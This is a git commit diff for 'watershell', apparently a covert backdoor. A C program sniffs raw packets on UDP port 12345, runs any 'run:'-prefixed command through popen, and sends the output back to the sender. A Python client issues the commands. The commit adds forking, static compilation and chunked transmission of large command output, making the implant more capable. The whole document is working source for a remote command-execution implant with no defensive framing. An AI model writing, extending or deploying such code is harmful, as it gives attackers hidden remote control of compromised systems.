Added forking support, support for larger command outputs, and other improvements
This commit is contained in:
10
Makefile
10
Makefile
@@ -1,8 +1,16 @@
|
|||||||
# Small makefile to make compiling watershell easier to do
|
# Small makefile to make compiling watershell easier to do
|
||||||
# TODO implement C and Linker FLAGS if desired
|
# TODO implement C and Linker FLAGS if desired
|
||||||
|
|
||||||
|
COMPILER=gcc
|
||||||
|
|
||||||
|
all: watershell
|
||||||
|
|
||||||
|
debug:
|
||||||
|
$(COMPILER) watershell.c -DDEBUG=1 -static -o watershell
|
||||||
|
|
||||||
|
.PHONY: watershell
|
||||||
watershell:
|
watershell:
|
||||||
gcc watershell.c -o $@
|
$(COMPILER) watershell.c -o watershell -static
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm watershell *.o
|
rm watershell *.o
|
||||||
|
|||||||
@@ -94,6 +94,9 @@ def execute_cmd_prompt(sock, target):
|
|||||||
if cmd == 'exit':
|
if cmd == 'exit':
|
||||||
break
|
break
|
||||||
if len(cmd) > 1 :
|
if len(cmd) > 1 :
|
||||||
|
if len(cmd) >= 1400:
|
||||||
|
print("Command is too big! (must be <=1400)")
|
||||||
|
else:
|
||||||
sock.sendto(("run:"+cmd).encode(), target)
|
sock.sendto(("run:"+cmd).encode(), target)
|
||||||
resp = recv_timeout(sock, 4)
|
resp = recv_timeout(sock, 4)
|
||||||
print(resp)
|
print(resp)
|
||||||
|
|||||||
92
watershell.c
92
watershell.c
@@ -26,6 +26,7 @@
|
|||||||
#ifndef DEBUG
|
#ifndef DEBUG
|
||||||
#define DEBUG false
|
#define DEBUG false
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
|
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
|
||||||
|
|
||||||
#include <net/if.h>
|
#include <net/if.h>
|
||||||
@@ -39,7 +40,7 @@
|
|||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#include <linux/if_ether.h>
|
#include <netinet/if_ether.h>
|
||||||
#include <linux/if_packet.h>
|
#include <linux/if_packet.h>
|
||||||
#include <linux/filter.h>
|
#include <linux/filter.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
@@ -59,7 +60,7 @@ int main(int argc, char *argv[])
|
|||||||
{
|
{
|
||||||
int i, n, hlen, arg;
|
int i, n, hlen, arg;
|
||||||
struct sock_fprog filter;
|
struct sock_fprog filter;
|
||||||
char buf[2048];
|
char recv_buf[RECV_BUFFER_SIZE];
|
||||||
unsigned char *read;
|
unsigned char *read;
|
||||||
char *udpdata;
|
char *udpdata;
|
||||||
struct iphdr *ip;
|
struct iphdr *ip;
|
||||||
@@ -148,23 +149,39 @@ int main(int argc, char *argv[])
|
|||||||
&filter, sizeof(filter)) < 0)
|
&filter, sizeof(filter)) < 0)
|
||||||
if (DEBUG) perror("setsockopt");
|
if (DEBUG) perror("setsockopt");
|
||||||
|
|
||||||
|
|
||||||
|
signal(SIGCHLD, SIG_IGN);
|
||||||
|
|
||||||
//sniff forever!
|
//sniff forever!
|
||||||
for (;;){
|
for (;;){
|
||||||
memset(buf, 0, 2048);
|
memset(recv_buf, 0, RECV_BUFFER_SIZE);
|
||||||
|
|
||||||
//get a packet, and tear it apart, look for keywords
|
//get a packet, and tear it apart, look for keywords
|
||||||
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
|
n = recvfrom(sockfd, recv_buf, RECV_BUFFER_SIZE, 0, NULL, NULL);
|
||||||
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
|
ip = (struct iphdr *)(recv_buf + sizeof(struct ethhdr));
|
||||||
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
udp = (struct udphdr *)(recv_buf + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
udpdata = (char *)((recv_buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
|
|
||||||
|
|
||||||
|
printf("Got something\n");
|
||||||
//checkup on the service, make sure it is still there
|
//checkup on the service, make sure it is still there
|
||||||
if(!strncmp(udpdata, "status:", 7)){
|
if(!strncmp(udpdata, "status:", 7)){
|
||||||
send_status(buf, "up");
|
printf("Doing the status\n");
|
||||||
|
send_status(recv_buf, "up");
|
||||||
}
|
}
|
||||||
|
|
||||||
//run a command if the data is prefixed with run:
|
//run a command if the data is prefixed with run:
|
||||||
if (!strncmp(udpdata, "run:", 4)){
|
if (!strncmp(udpdata, "run:", 4)){
|
||||||
|
// Make a copy for the fork, child will free
|
||||||
|
char * recv_copy = malloc(RECV_BUFFER_SIZE);
|
||||||
|
memcpy(recv_copy, recv_buf, RECV_BUFFER_SIZE);
|
||||||
|
|
||||||
|
ip = (struct iphdr *)(recv_copy + sizeof(struct ethhdr));
|
||||||
|
udp = (struct udphdr *)(recv_copy + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
|
udpdata = (char *)((recv_copy + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
|
|
||||||
|
pid_t fork_pid = fork();
|
||||||
|
|
||||||
|
if (fork_pid == 0) {
|
||||||
printf("Doing the thing: %s\n", udpdata);
|
printf("Doing the thing: %s\n", udpdata);
|
||||||
int out = open("/dev/null", O_WRONLY);
|
int out = open("/dev/null", O_WRONLY);
|
||||||
int err = open("/dev/null", O_WRONLY);
|
int err = open("/dev/null", O_WRONLY);
|
||||||
@@ -173,28 +190,45 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
FILE *fd;
|
FILE *fd;
|
||||||
fd = popen(udpdata + 4, "r");
|
fd = popen(udpdata + 4, "r");
|
||||||
if (!fd) return -1;
|
if (!fd) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
char buffer[256];
|
char buffer[RECV_BUFFER_SIZE];
|
||||||
size_t chread;
|
size_t chread;
|
||||||
/* String to store entire command contents in */
|
/* String to store entire command contents in */
|
||||||
size_t comalloc = 256;
|
size_t comalloc = RECV_BUFFER_SIZE;
|
||||||
size_t comlen = 0;
|
size_t comlen = 0;
|
||||||
char *comout = malloc(comalloc);
|
char *comout = malloc(comalloc);
|
||||||
|
|
||||||
/* Use fread so binary data is dealt with correctly */
|
/* Use fread so binary data is dealt with correctly */
|
||||||
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
|
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
|
||||||
|
printf("1\n");
|
||||||
if (comlen + chread >= comalloc) {
|
if (comlen + chread >= comalloc) {
|
||||||
comalloc *= 2;
|
comalloc *= 2;
|
||||||
comout = realloc(comout, comalloc);
|
comout = realloc(comout, comalloc);
|
||||||
}
|
}
|
||||||
memmove(comout + comlen, buffer, chread);
|
memmove(comout + comlen, buffer, chread);
|
||||||
comlen += chread;
|
comlen += chread;
|
||||||
|
printf("2\n");
|
||||||
|
}
|
||||||
|
if (DEBUG) {
|
||||||
|
printf("Sending %s", comout);
|
||||||
}
|
}
|
||||||
pclose(fd);
|
pclose(fd);
|
||||||
send_status(buf, comout);
|
close(out);
|
||||||
|
close(err);
|
||||||
|
send_status(recv_copy, comout);
|
||||||
|
free(recv_copy);
|
||||||
|
free(comout);
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
if (DEBUG) {
|
||||||
|
printf("Forked to %d\n", fork_pid);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
@@ -264,7 +298,7 @@ void sigint(int signum){
|
|||||||
//shut it down!
|
//shut it down!
|
||||||
free(sifreq);
|
free(sifreq);
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
//exit(1);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
//send a reply
|
//send a reply
|
||||||
@@ -274,17 +308,29 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
struct sockaddr_in sin;
|
struct sockaddr_in sin;
|
||||||
int len;
|
int len;
|
||||||
|
|
||||||
|
|
||||||
//setup the data
|
|
||||||
memset(&frame, 0, sizeof(frame));
|
|
||||||
strncpy(frame.data, payload, strlen(payload));
|
|
||||||
|
|
||||||
//get the ifindex
|
//get the ifindex
|
||||||
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
||||||
if (DEBUG) perror("ioctl SIOCGIFINDEX");
|
if (DEBUG) perror("ioctl SIOCGIFINDEX");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
uint32_t full_size = strlen(payload);
|
||||||
|
|
||||||
|
div_t div_res = div(full_size, SEND_CHUNK_SIZE);
|
||||||
|
int chunk_count = div_res.quot+1;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < chunk_count; i++) {
|
||||||
|
|
||||||
|
uint32_t send_size = SEND_CHUNK_SIZE;
|
||||||
|
if (i == chunk_count-1) {
|
||||||
|
send_size = strnlen(payload+(i*SEND_CHUNK_SIZE), SEND_CHUNK_SIZE);
|
||||||
|
}
|
||||||
|
//setup the data
|
||||||
|
memset(&frame, 0, sizeof(frame));
|
||||||
|
uint64_t offset = i*SEND_CHUNK_SIZE;
|
||||||
|
memcpy(frame.data, payload+(offset), send_size);
|
||||||
|
|
||||||
|
|
||||||
//layer 2
|
//layer 2
|
||||||
saddrll.sll_family = PF_PACKET;
|
saddrll.sll_family = PF_PACKET;
|
||||||
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
||||||
@@ -301,7 +347,7 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
frame.ip.frag_off |= htons(IP_DF);
|
frame.ip.frag_off |= htons(IP_DF);
|
||||||
frame.ip.ttl = 64;
|
frame.ip.ttl = 64;
|
||||||
frame.ip.tos = 0;
|
frame.ip.tos = 0;
|
||||||
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
|
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + send_size);
|
||||||
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
||||||
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
||||||
frame.ip.protocol = IPPROTO_UDP;
|
frame.ip.protocol = IPPROTO_UDP;
|
||||||
@@ -309,17 +355,19 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
//layer 4
|
//layer 4
|
||||||
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
||||||
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
||||||
frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
|
frame.udp.len = htons(send_size + sizeof(frame.udp));
|
||||||
|
|
||||||
//checksums
|
//checksums
|
||||||
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
||||||
ip_checksum(&frame.ip);
|
ip_checksum(&frame.ip);
|
||||||
|
|
||||||
//calculate total length and send
|
//calculate total length and send
|
||||||
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
|
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + send_size;
|
||||||
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
|
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
|
||||||
//broken.
|
//broken.
|
||||||
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
||||||
|
|||||||
@@ -16,6 +16,11 @@
|
|||||||
*/
|
*/
|
||||||
#ifndef WATERSHELL_H_
|
#ifndef WATERSHELL_H_
|
||||||
#define WATERSHELL_H_
|
#define WATERSHELL_H_
|
||||||
|
|
||||||
|
|
||||||
|
#define RECV_BUFFER_SIZE 4096
|
||||||
|
#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr))
|
||||||
|
|
||||||
/* BPF code generated with tcpdump -dd udp and port 12345
|
/* BPF code generated with tcpdump -dd udp and port 12345
|
||||||
* used to filter incoming packets at the socket level
|
* used to filter incoming packets at the socket level
|
||||||
*/
|
*/
|
||||||
@@ -49,7 +54,7 @@ struct __attribute__((__packed__)) udpframe {
|
|||||||
struct ethhdr ehdr;
|
struct ethhdr ehdr;
|
||||||
struct iphdr ip;
|
struct iphdr ip;
|
||||||
struct udphdr udp;
|
struct udphdr udp;
|
||||||
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
unsigned char data[SEND_CHUNK_SIZE];
|
||||||
};
|
};
|
||||||
|
|
||||||
void send_status(unsigned char *buf, char *payload);
|
void send_status(unsigned char *buf, char *payload);
|
||||||
|
|||||||
Reference in New Issue
Block a user